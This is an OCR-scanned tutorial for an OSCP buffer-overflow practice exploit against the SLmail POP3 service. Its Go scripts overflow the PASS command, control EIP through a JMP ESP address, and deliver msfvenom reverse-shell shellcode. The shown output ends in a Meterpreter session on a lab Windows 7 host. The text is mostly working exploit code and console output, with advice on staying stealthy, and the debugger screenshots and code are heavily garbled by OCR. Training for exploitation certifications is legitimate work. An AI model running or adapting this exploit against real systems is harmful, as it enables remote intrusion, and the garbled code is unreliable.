Win32 BufferOverFlow OSCP

Windows 32-bit Simple BufferOverFlow Excercise [SLmail]

Identifying offset for EIP

Once you identify vulnerable input in network service (PASS in our case) generate big enough pattern
to crash it. After crash note value of EIP from immunity debugger.

/usr/share/metasploit-framework/tools/pattern create.rb -1 6000

package main

import (
"bufio"
"fmt"
"net"

func main() {
padding :=
"AaOAalAa2Aa3AadAa5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7AD8AD9ACOACIAC2AC3A
C4Ac5ACcB6ACc7ACc8AC9AdOAd1IAd2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Aeb6Ae7Ae8
Ae9ATOAT1IAT2AT3AT4AT5AT6AT7AT8ATOAgOAg1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9AhOANhIANh2AN
3Ah4Ah5Ah6Ah7Ah8Ah9A10A11A12A13A14Ai5A16A1i7A18A19Aj0Aj1Aj2Aj3Aj4Aj5A 6A 7A
j8Aj9Ak0AK1Ak2AK3Ak4AK5Ak6AK7AK8AKIATOATIAT2A13AT4A15AT6AT7ATI8AT9AMOAMIAM2
Am3Am4Am5AM6AM7Am8AM9ANOAN1AN2AN3An4An5An6AN7An8AN9A00A01A02A03A04A05A06A0
7A08A09ApOAP1Ap2Ap3Ap4ApS5AP6Ap7Ap8AP9AQqOAqlAq2Aq3Aq4Ag5Ag06Aq7Aq8AQ9AroArlA
r2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9ATOAt1At2At3At4At5At6
At7At8At9AuUOAUlAU2AU3AU4AUSAUGAU7AUBAU9AVOAV1AV2AV3AV4A4AV5AVEAYV7AVEBAVIAWOAW
1Aw2 Aw3Aw4AwS5AW6Aw7 AwBAWIAXOAX 1AX2AX3AX4AX5AX06AX7AXx8AX9AY0OAY1AY2Ay3Ay4Ay5A
y6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0BalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0
Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9BcOBCc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd
5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9BTOBT1Bf2Bf3Bf4Bf5Bf6Bf7Bf8BT9OB
g0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BhOBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4
Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6B]j7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk
9B1OB11B12B13B14B15B16B17B18B19BmOBm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9BNOBNn1Bn2Bn3B
n4Bn5Bn6Bn7Bn8Bn9B00B01B02B0o3B04B0o5Bo6B07B0o8B0o9BpOBp1Bp2Bp”
padding +=

"3Bp4Bp5Bp6Bp7Bp8Bp9BgOBql1Bq2Bq3Bq4Bg5Bq6Bq7Bq8Bq9BrOBr1Br2Br3Br4Br5BroBr7
Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0OBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu®@BulBu



2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0OBv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9BwOBw1Bw2Bw3Bw4Bw5Bw6B
w7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1
Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0CalCa2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Ch0Cb1Chb2Ch3Cb4Chb5Ch
6Cb7Cbhb8Cb9CcOCc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8CcICdOCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9CeOC
elCe2Ce3Ce4Ce5Ceb6Ce7Ce8Ce9CfOCT1ICT2CT3CF4CT5CF6CT7CF8CTICg0Cg1Cg2Cg3Cg4Cg5
Cg6Cg7Cg8Cg9ChOCh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8C19C]
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9CkOCK1ICk2CKk3Ck4CKk5Ck6CKk7Ck8CKICTOCLICT2CL3CL4C
15C16C1L7C18CT9CMOCMICM2CmM3Cm4Cm5Cm6CmM7Cm8CMACNOCN1CN2CN3CNn4Cn5CN6CN7CN8CN9
Co0C01C02C03C04C05C06C07C08C09CPOCP1CP2CP3Cp4Cp5Cp6Cp7Cp8CPp9CghCqlCq2Cq3Cq
4Cg5Cg6Cq7C€q8Ca9CroCrlCr2Cr3Cr4Cr5CreCr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8C
s9CtOCt1Ct2Ct3Ct4Ct5CtoCt7Ct8Ct9CuUOCULCU2Cu3Cu4Cu5Cu6Cu7Cu8Cu9CvOCv1Cv2Cv3
Cv4Cv5Cv6Cv7Cv8CVICWOCWICwW2Cw3Cw4Cw5CwoCw7Cw8CwICXOCX1CXx2Cx3Cx4Cx5Cx6CX7CX
8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cyb6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9DabDalba2D
a3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9DcODCc1Dc2Dc3Dc4Dc5Dc6DC7
Dc8Dc9DdODd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9DeODelDe2De3De4De5De6De7De8De9DTODT"
padding +=
“1Df2Df3Df4Df5Df6Df7Df8DTA9DgODg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9DhODh1Dh2Dh3Dh4Dh5
DheDh7Dh8Dh9Di0Di1Di12D13Di4Di5Di6Di7D18Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk
ODk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8DkOD1OD11D12D13D14D15D16D17D18D19DMODM1DM2Dm3Dm4D
m5Dm6DmM7Dm8DmIODNODN1DN2DN3DNn4DNn5DN6DN7DNn8DNn9D00D01D02D0o3Do4Do5D06D07D0o8D09
DpODp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8DPADqODq1Dq2Dq3Dq4Dg5Dq6Dq7Dq8Dq9DreDr1Dr2Dr3Dr
4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0ODt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8D
t9DuODulDu2Du3Du4Du5Du6DU7DU8DU9DVEDV1DV2Dv3Dv4Dv5Dv6Dv7Dv8DvIDWODW1DwW2Dw3
Dw4Dw5Dw6Dw7Dw8DwIDXx0DXx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy 7Dy
8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9EaOEalEa2Ea3Ea4Ea5EabEa7Ea8Ea9EbOED1EL2E
b3Eb4Eb5EDG6EL7EDSEL9ECOEC1EC2EC3EC4ECSEC6EC7ECBECOEAOEd1Ed2Ed3Ed4EdSEdGEd7
EdB8Ed9EeOEelEe2Ee3Ee4Ee5Ee6Ee7Ee8Ee9ETOET1ETf2Ef3ETf4EfSEfOET7EfSET9EQOEQ1EQ
2Eg3Eg4EQ5EQ6EQ7EQ8EQOENOEh1IER2ER3ENR4ENSENGER7ERSEROEIOELI1Ei2Ei3Ei4EiSEIGE
17Ei8Ei9EjOEj1Ej2Ej3Ej4EjS5Ej6Ej7Ej8Ej9EKOEK1EK2EK3EK4EKSEKGEK7EKSEKOETOELL
E12E13ET4ELSEL6EL7EL8EL9EMOEM1IEM2EM3EM4EMSEMGEM7EM8EMOENOEN1EN2EN3EN4EN5EN
6EN7EN8EN9E0OE01E02E03E04E0S5E06E07EO08EO9EPOEP1EP2EP3EP4EPSEPOGEP7EPSEPIEQOE
qlEq2EQ3EQ4EQ5EQ6EQ7EQ8EQOErOEr1Er2Er3Er4Er5Er6Er7Er8Er9ESOES1ES2ES3ES4ESS
ES6ES7ES8ESOEtOEt1Et2Et3Et4EtS5Et6Et7Et8Et9EUOEUlIEU2EU3EU4EUSEUBGEU7EU8BEU9"
padding +=

"EVOEV1EV2EV3EV4EV5EV6EV7EVS8EVOEWOEW1EW2EW3EW4EWSEW6EW7 EWSEWOEXOEX1EX2EX3E
X4EXS5EX6EX7EX8EX9EYQEY1EYy2EYy3EYy4EYyS5EY6EY7EY8EY9EZOEZz1EZz2EZz3EZ4EZ5E26EZ27EZ8
Ez9FaOFalFa2Fa3Fad4Fa5Fa6Fa7Fa8Fa9FbOFb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9FCcOFCc1Fc2Fc
3Fc4Fc5FcoFc7Fc8Fc9FdOFd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9FeOFelFe2Fe3Fe4Fe5Fe6Fe7F
e8Fe9FfOFf1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9FgOFglFg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9FhOFh1Fh2
Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9FjOFj1Fj2Fj3Fj4Fj5Fj6F]
7Fj8Fj9FKOFKk1Fk2Fk3Fk4FKk5FK6Fk7Fk8FKkOFLOFL1F12F13F14F15F16FL7F18FL9FmOFm1F
m2Fm3Fm4Fm5Fm6Fm7Fm8FMOFNOFN1FN2Fn3Fn4Fn5Fn6Fn7FNn8FNn9F00Fo01Fo2Fo3Fo4Fo5F06
FO7F08F09FpOFplFp2Fp3Fp4Fp5FpoFp7Fp8Fp9FqOFqlFq2Fg3Fq4Fg5Fq6Fq7FqQ8Fq9FrOFr



1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9FsOFs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8FsOFtOFt1Ft2Ft3Ft4Ft5F
t6Ft7Ft8Ft9FuOFulFu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9FvOFv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8FVvIFwO
FwlFw2Fw3Fw4Fw5Fw6Fw7Fw8FWIOFXOFX1FX2FX3FX4FX5FX6FXx7FXx8FX9Fy0Fy1Fy2Fy3Fy4Fy
5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0GalGa2Ga3Ga4Ga5GabGa7Ga8Ga9G
bO0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Ghb9GcOGCc1Gc2Gc36c4Gc56c6Gc76Gc86c96d0GA1G6d2Gd3Gd4
Gd5Gd6Gd7Gd8Gd9Ge0GelGe2Ge3Ge4Ge56e6Ge7Ge8Ge9GTOGT1GT2GT3GT4GT5GT6GT7GT8GT
9Gg0Gg1Gg2Gg3Gg4Gg5Ggb6Gg7Gg8Gg9GhOGh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3G
14G1i5Gi6Gi7G18G19Gj0Gj1Gj2Gj3Gj4Gj5Gj6G)j7G)j8Gj9GKkOGk1Gk2Gk3Gk4GKk5Gk6Gk7Gk™
padding +=

"8GkIGLOGL1GL2G13GL4G1L5G16GL7G18GLIGMOGMIGM2Gm3Gm4Gm5Gm6Gm7Gm8GmIGNAGN1GNn2
Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0G01G02G03G04Go5G06G07G08G09GpOGP1Gp2Gp3Gp4Gp5Gp6Gp
7Gp8Gp9Gg0GqlGq2Gq3G6g4Gg5GqoGq7Gq8Gq9GroGrlGr2Gr3GraGrs5GreGr7Gr8GroGs0Gslai
5$2Gs3Gs4Gs5Gs6Gs7Gs8Gs9GtOGt1Gt2Gt36t4Gt5G6t6Gt76t8GtIGUOGUIGU2Gu3Gud4GuSGub
Gu7Gu8Gu9GvOGv1Gv2Gv3Gv4Gv5GvoGv7Gv8GvIGWOGW1GW2Gw3Gw4Gw5GwoGw7Gw8GwIGX0GX
1Gx2Gx3Gx4Gx5G6x6Gx7G6x8Gx9Gy0Gy1Gy2Gy3Gy4Gy5GyoGy7Gy8Gy9Gz06z1Gz2Gz3Gz4Gz5G
26Gz7Gz8Gz9HaOHalHa2Ha3Ha4Ha5Ha6Ha7Ha8Ha9HbOHb1Hb2Hb3Hb4Hb5Hb6Hb7HO8HB9HCO
HclHc2Hc3Hc4Hc5Hc6Hc7Hc8HC9HdOHd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9HeOHe1He2He3He4He
5He6He7He8He9HTOHT1HTf2Hf3Hf4Hf5HT6HT7Hf8Hf9HgOHg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9H
hOHh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9H10Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9HjOHj1Hj2Hj3Hj4
Hj5Hj6Hj 7Hj8Hj9HkOHK1HKk2Hk3Hk4Hk5HKO6HK7HK8HKOHTOHT1H12H13H14H15HI6HL7H18H1
9HMOHM1IHM2HM3HM4HM5HM6HM7HM8HMOHNOHN1HN2HN3HN4HN5HN6HN7HN8HN9HO0OHO1HO2HO3H
04Ho5H06H07H08HO09HPOHP1HP2HP3HP4HP5HP6HP7HP8HPOHQOHQ1Hg2Hg3Hq4Hg5Hg6HQ7HQ8
HQOHrOHr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9"

sendStr := "PASS " + padding + "\r\n"
conn, := net.Dial("tcp", "192.168.250.129:110")
message,  := bufio.NewReader(conn).ReadString('\n")

fmt.Print(message)
conn.Write([]byte("USER cjhackerz\r\n"))

message, = bufio.NewReader(conn).ReadString('\n")
fmt.Print(message)

//fmt.Print(sendStr)
conn.Write([]byte(sendStr))
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WX P uHRlisJ+ 1l emtwhcPkbzr.. 7 Cods suditor and software assessment specialist nesdsd

| CPU - thread 00000840 EI@

+ Registers {(FPU>
a0

C4 ASCII “28-84/13

EBF 46387046
ES]1 PAARARAA
ED]1 Ba0A08A1

EIF 7A46317A

C @ ES 8823 32hit B{FFFFFFF|
CS @B1B 32hit B(FFFFFFF

32hit 7FFACABAL
@ ULL

LastErr ERROR_SUCCESS ¢
EFL 88010246 (NO.MNB.E.BE.NS.

p
Ba43 D6 6@ 60 @A 6@ 60 A8 ....

AA43DANE AR AR AR AR AR BA AP B8 . .
Aa430910 B4 B8 B8 8@ 6F 72 20 75 u

J 9943DA18 7?3 65 20 74 68 65 20 73 se the s 46387046 Fz8F

5 72 76 6% 63 65 28 6D ervice m 6147397 z9Ga

67 65 72 20 69 anager i 31614738 BGal

65 28 63 6F n the co 47326147 Ga2G

ntrol pa 61473361 a3dGa

nel to s 35614734 4GaS

g tart the 47366147 GabG

aa430e58 26 73 76 69 63 service 61473761 a7Ga

@a43D0A58 2E BA ?4 t 39614738 8Ga?

@a430868 20 73 72 74 2 % 47386247 GhAG

] B343DB6E 73 BA BB 5 s » 62473162 hiGh

emove 33624732 2Gh3

47346247 Gh4G

aa430888 74 6F 28 72 to remou 62473562 h5Gh

@A43DA88 65 28 74 68 37624736 6Gh7?

JJj 89430828 72 76 62 63 6 A 08 1 . 47386247 GbBG

@a430A98 25 73 28 6% % 63473962 h9Ge

AR43DAAA _6C G A OR G 4 6 auto Ml B25EA17C 31634738 BGcl

397 Access vielation when executing [7A46317A71 — use Shift+F7/F8/F9 to pass exception £o progran [Faused
720PM | |

T O

As you can see in screenshot our EIP is overwritten with with hex value 7A46317A which is z1Fz in

ascii text.

/usr/share/metasploit-framework/tools/pattern create.rb -q 7A46317A
[*] Exact match at offset 4654

Setup mona for badchar testing

Imona config -set workingfolder c:\logs\%p

Imona bytearray
copy bytes from C:\logs\SLmail\bytearray.txt file to your test script
I'mona compare -f C:\logs\SLmail\bytearray.bin -a 025CA128

give correct memomry address in stack for -a option where badchar begins, command will now tell you
identified badchars at which your test bytearray gets terminated in stack
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screenshot has been saved in fhome/cjhackerz/Pictures

Call t
Called Leg data

aa430888 74 6F 28 72
@A43DA88 65 28 74 68
aa43089@8 72 76 69 63
@a430A98 25 73 28 6%
AR43DA0 A A oR

65 6D &6F 76 to remouv
65 20 73 65 e the se
65 BA B8 B8 rvice...

?4 61 #s insta

— &=
= EcR(F= =

AABAaAA1
42424242

32hit
32hit
88 3 32hit
DS @PAZ3 32bit
FS @@83B 32hit ?FFABABA(
GS 8848 NULL

LastErr ERROR_SUCCESS ¢
BE010246 (NO.MB.E.BE.NS.

41414141
42424242
4030201 Eaw
a8e7e685
69202982
?4731286E
20657461
7583@A35
@QB40F41iF ¥
@25CCEF@
@082 DE6F4
BB2E34CC
BARABAAAE .
772B1AAT
45437BAA
ap400a608 .
a0ea1465 el
apeaeanRe .
A0Aa81 78
BARARAAA .
Ba466!

Ml B25Cn174  7FFAEAA

|!mnna compare -f C\logs\SLmail\bytearray.bin -a 025CA128

sAISIEY

™

El
Paused

M|
1300 |

Now create new bytearray by excluding badchar detected from previous step and repeat process till

mona is not able to find badchars anymore from compare module.

Imona bytearray —cpb "\x00\x0a"

Screenshot of mona detecting \x0d as badchar by repeating previous compare step

O File Edit View VM Tabs Help B

File Vi

SR =R IEI
[E] Log data

BRI B0 f
8a430878
aA43DA78
ag430080
A043D0088 8
aa430898
aa430098
AR43DA0 A

lemtwhcPkbzr

dd de df

e -

28 enove

28

F 76 to remov
65 e the se
B8 ruice...
61 #s insta

BadChars.
ad

& OSCP BoF Practice
= I e

[EE[ETETETETE e
1879EC4 ASCII
AAeAaAA3
BARAARA4
A1870128
1414141
PARAARAR
AEBAaAA1
42424242

@623 32hit B(FFFFFFF

B 32hit B(FFFFFFF
B@23 32hit B(FFFFFFF
AA23 32hit B(FFFFFFF
@A3B 32hit 7FFD6BAAC
Apea NULL

LastErr ERROR_SUCCESS ¢
BE010246 (NO.MB.E.BE.NS.

enpty g
empty g

41414141
42424242
a48308261

12111AAF
16151413
1191817
1EiDiCiB
2221201F
26252423

3231382F

36353433
30393837 7
3E3D3C3B ;
42414@3F 7
46454443
40494847
4E4D4C4B
52515A4F

|!mnna compare -f C:\logs\SLmail\bytearray.bin -a 0187A128

vAlSIEY

™

Output of mona compare module when there is no badchars found anymore
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[E] Log data === — e =

Address |Meszags -

L]
B2519EC4 ASCII ™
[P] mona Memory comparison results PEDBEREA

BadChars. BE0A0RA4
B251A128
41414141
BRBRABAA
BODBOBG1

42424242

32hit
32hit
32hit
32hit
32hit
NULL

LastErr ERROR
80010246 (NO.NB.E,.BE.NS.

41414141
42424242
B4030201 Cow:
a88786085
BEACABA? .4&.
12111860F
16151413
1A191817
1EiDiC1B
2221201F
26252423
2A292827
2E2D2C2RB
3231382F
36353433
30393837
] 3E3D3C3B ;
3 4241463F 7
boa3pass pr¥ brr
a0430p878 ? 6 a U i - 4494847
aa430098 s i 4E4D4C4RB
BA42DAAN A o A Oh 4 6 auto 5251504F

[Paused

]
CRAISIERN N

Note: \Ox00 (Nullbyte) is always a badchar which terminates string in stack

SLMail-padding-with-test-badchar.go

package main

import (
"bufio”
“fmt"
"net"

)

func main() {
padding := "A"

for i := 1; 1 < 4654; i++ {
padding = padding + "A"

testBuff :=
"\Xx01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\
x13\x14\x15\x16\x17\x18\x19\x1la\x1b\x1c\x1d\x1le\x1f\x20\x21\x22"

testBuff +=
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\
X35\ x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42"

testBuff +=
"\x43\x44\x45\x46\x47\x48\x49\ x4a\x4b\x4c\x4d\x4e\ x4\ x50\ x51\x52\x53\x54\



x55\x56\x57\x58\x59\x5a\x5b\x5¢c\x5d\x5e\x5f\x60\x61\x62"

testBuff +=
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\Xx6F\x70\x71\x72\x73\x74\
X75\x76\X77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84"

testBuff +=
"\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\
X97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xal\xa2\xa3\xa4"

testBuff +=
"“\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\
xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xcl\xc2\xc3\xc4"

testBuff +=
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xdO\xd1\xd2\xd3\xd4\xd5\xd6\
xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xel\xe2\xe3\xe4"

testBuff +=
"\xe5\xeb6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\XxfO\XTI\XF2\xF3\xF4\xF5\xf6\
XF7\XF8\xTI\xfa\xfb\xfc\xfd\xfe\xff"

EIP := "BBBB"

sendStr := "PASS " + padding + EIP + testBuff + "\r\n"
conn, _ := net.Dial("tcp", "192.168.250.129:110")
message, _ := bufio.NewReader(conn).ReadString('\n")

fmt.Print(message)
conn.Write([]byte("USER cjhackerz\r\n"))

message, _ = bufio.NewReader(conn).ReadString('\n")

fmt.Print(message)
//fmt.Print(sendStr)
conn.Write([]byte(sendStr))

SLMail-ElIP-control-test.go
package main

import (
"bufio"
"fmt"
"net"



func main() {
padding := "A"

for i := 1; 1 < 4654; i++ {
padding = padding + "A"

}

testBuff := "\xcc"

EIP := "\x8f\x35\x4a\x5f"

sendStr := "PASS " + padding + EIP + testBuff + "\r\n"
conn,  := net.Dial("tcp", "192.168.250.129:110")
message, _ := bufio.NewReader(conn).ReadString('\n")

fmt.Print(message)
conn.Write([]byte("USER cjhackerz\r\n"))

message, _ = bufio.NewReader(conn).ReadString('\n")
fmt.Print(message)

conn.Write([]byte(sendStr))

You should see immunity debugger in paused sate if everything goes well, meaning our return address
is correctly selected and execution starts at ESP due to JMP ESP instruction

Exploiting service without crashing it with our msfvenom shellcode
Two things you need to remember for generating shellcode in msfvenom:

1. We will use format (-f) as python since variable defination for python and go is similiar, you have to
remove byte prefix (denoted as b) from b"" or b"\xbalxa3\x82\x49\x93\xd9\xcc\xd9\x74\x24\xf4"
shellcode strings and for first string instead of = replace it with :=

2. As good practice and to remain stealth, we don't what to exit the program's main process instead
we just need to exit current thread for which we hijacked code execution. For that msfvenom
provides EXITFUNC options which is by default set to process, change it to thread.

Biggest fuck up



The encoder that msfvenom used in our case was the shikata_ga_nai encoder.
shikata_ga_nai’'s GetPC routine, like many other GetPC routines, is a bit of a

destructive operation. The machine instructions that it executes in its quest for

its own address involves putting some data at and around the top of the stack.

It doesn’t PUSH some values on to the stack moving the top of the stack upwards,

it has a tendency to destroy a couple of bytes either side of ESP. This damage is

a problem for us - because the encoded shellcode is right at the current value of

ESP! If we allow GetPC to blow a hole right at ESP then it will change some of the

code belonging to the shellcode decoder and potentially the encoded shellcode,

corrupting the machine code and almost certainly crashing the process when

the CPU tries to execute the now-corrupted code. Lazy and quick way to do is keep adding NOP
instruction at start of ESP, more than 16 nops should do the job in our example | am putting 32 bytes of
NOP sled after EIP and then our actual shellcode that we want to execute.

By putting a large number of NOP’s in front of the shellcode, ESP will continue
to point at the beginning of the NOP sled while EIP “slides” through the NOP’s
doing a whole bunch of nothing. By the time execution reaches the shellcode
decoder stub, ESP points far enough away from it so as to not cause damage to
the shellcode when GetPC blows a hole in the stack.

SLMail-exploit.go

package main

import (
"bufio"
"fmt"
"net"

func main() {
padding := "A"
nopSled := "\x90"

for i := 1; 1 < 4654; i++ {

padding = padding + "A"

¥

for i :=1; i < 32; i++ {
nopSled = nopSled + "\x90"



LHOST=192.168.250.1 LPORT=4444 EXITFUNC=thread -f python --var-name

exploitBuff

exploitBuff :

exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff
exploitBuff

// JMP ESP instruction in slmfc.dll located at address 0x5f4a358f
1= "\x8f\x35\x4a\x5f"

EIP

"\xba\xa3\x82\x49\x93\xd9\xcc\xd9\x74\x24\xf4"
"\x5e\x33\xc9\xb1\x5b\x83\xc6\x04\x31\x56\x10"
"\Xx03\x56\x10\x41\x77\xb5\x7b\x07\x78\x46\x7c"
"\x67\xf0O\xa3\x4d\xa7\x66\xa7\xfe\x17\xec\xe5"
"\xf2\xdc\xaf\x1d\x80\x90\x6c\x11\x21\x1le\x4b"
"\x1c\xb2\x32\xaf\x3f\x30\x48\xfc\x9f\x09\x83"
"\xT1\xde\x4e\xfO\xf8\xb3\x07\x76\xae\x23\x23"
"\XCc2\X73\xcF\Xx7f\xc3\xf3\x2c\x37\xe2\xd2\xe2"
"\x43\xbd\xf4\x05\x87\xb6\xbc\x1d\xc4\xf2\x77"
"\x95\x3e\x89\x89\x7f\x0f\x72\x25\xbe\xbf\x81"
"\x37\x86\x78\x79\x42\xfe\x7a\x04\x55\xc5\x01"
"\xd2\xd0\xde\xa2\x91\x43\x3b\x52\x76\x15\xc8"
"\x58\x33\x51\x96\x7c\xc2\xb6\xac\x79\x4f\x39"
"\x63\x08\x0b\x1e\xa7\x50\xc8\x3f\xfe\x3c\xbf"
"\x40\xe0\x9e\x60\xe5\x6a\x32\x75\x94\x30\x5b"
"\xba\x95\xca\x9b\xd4\xae\xb9\xa9\x7b\x05\x56"
"\x82\xT4\x83\xal\x93\x12\x34\x7d\x1b\x72\xca"
"\x7e\x5c\x5b\x09\x2a\x0c\xf3\xb8\x53\xc7\x03"
"\Xx44\x86\x72\x09\xd2\xe9\ x2b\xf7\x23\x82\x29"
"\x07\x35\x0e\xa7\xel\x65\xfe\xe7\xbd\xc5\xae"
"\x47\x6d\xae\xad\x47\x52\xce\xc6\x8d\xfb\x65"
"\Xx29\x78\x54\x12\xd0\x21\x2e\x83\x1d\xfc\x4b"
"\x83\x96\xf5\xac\x4a\x5f\x7f\xbe\xbb\x38\x7f"
"\x3e\x3c\xad\x7f\x54\x38\x67\xd7\xc0\x42\x5e"
"\x1f\x4f\xbc\xb5\x23\x97\x42\x48\x12\xec\x75"
"\xde\x1la\x9a\x79\x0e\x9b\x5a\x2c\x44\x9b\x32"
"\x88\x3c\xc8\x27\xd7\xe8\x7c\xf4\x42\x13\xd5"
"\xa9\xc5\x7b\xdb\x94\x22\x24\x24\ xf3\x30\x23"
"\xda\x86\x1e\x8c\xb3\x78\x1f\x2c\x44\x12\x9f"
"\x7c\x2c\xe9\xb0\x73\x9c\x12\x1b\xdc\xb4\x99"
"\xca\xae\x25\x9e\xc6\x6f\xf8\x9f\xe5\xab\x0b"
"\xda\x86\x4c\xec\x1b\x8f\x28\xec\xlc\xaf\x4e"
"\xd0\xcb\x96\x24\x17\xc8\xac\x27\x8a\xed4\xd8"
"\xcf\x13\x6d\x61\x92\xa3\x58\xab\xab\x27\x68"
"\Xx57\x48\x37\x19\x52\x14\xff\xf2\x2e\x05\x6a"
"\xT4\x9d\x26\xbf"



sendStr "PASS " + padding + EIP + nopSled + exploitBuff + "“\r\n"
conn, net.Dial("tcp", "192.168.250.129:110")
message,  := bufio.NewReader(conn).ReadString('\n")

fmt.Print(message)
conn.Write([]byte("USER cjhackerz\r\n"))

message, = bufio.NewReader(conn).ReadString(‘\n")

fmt.Print(message)

conn.Write([]byte(sendStr))

After successful execution we get connection back in msfconsole

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.250.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

0  Wildcard Target

Imsf5 exploit( ) > exploit —j

[#] Exploit running as background job 0.

[*] Exploit completed, but no session was created.
Imsf5 exploit( ) >

[#] Started reverse TCP handler on 192.168.250.1:4444

msf5 exploit( ) >
[*] Sending stage (180291 bytes) to 192.168.250.129
[#] Meterpreter session 1 opened (192.168.250.1:4444 -> 192.168.250.129:50675) at 2020-04-14 07:11:25 +0530

msf5 exploit( ) > sessions -i 1
[x] Starting interaction with 1...

meterpreter > sysinfo
Computer : OSCP-BOF

0S : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : X86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter > I




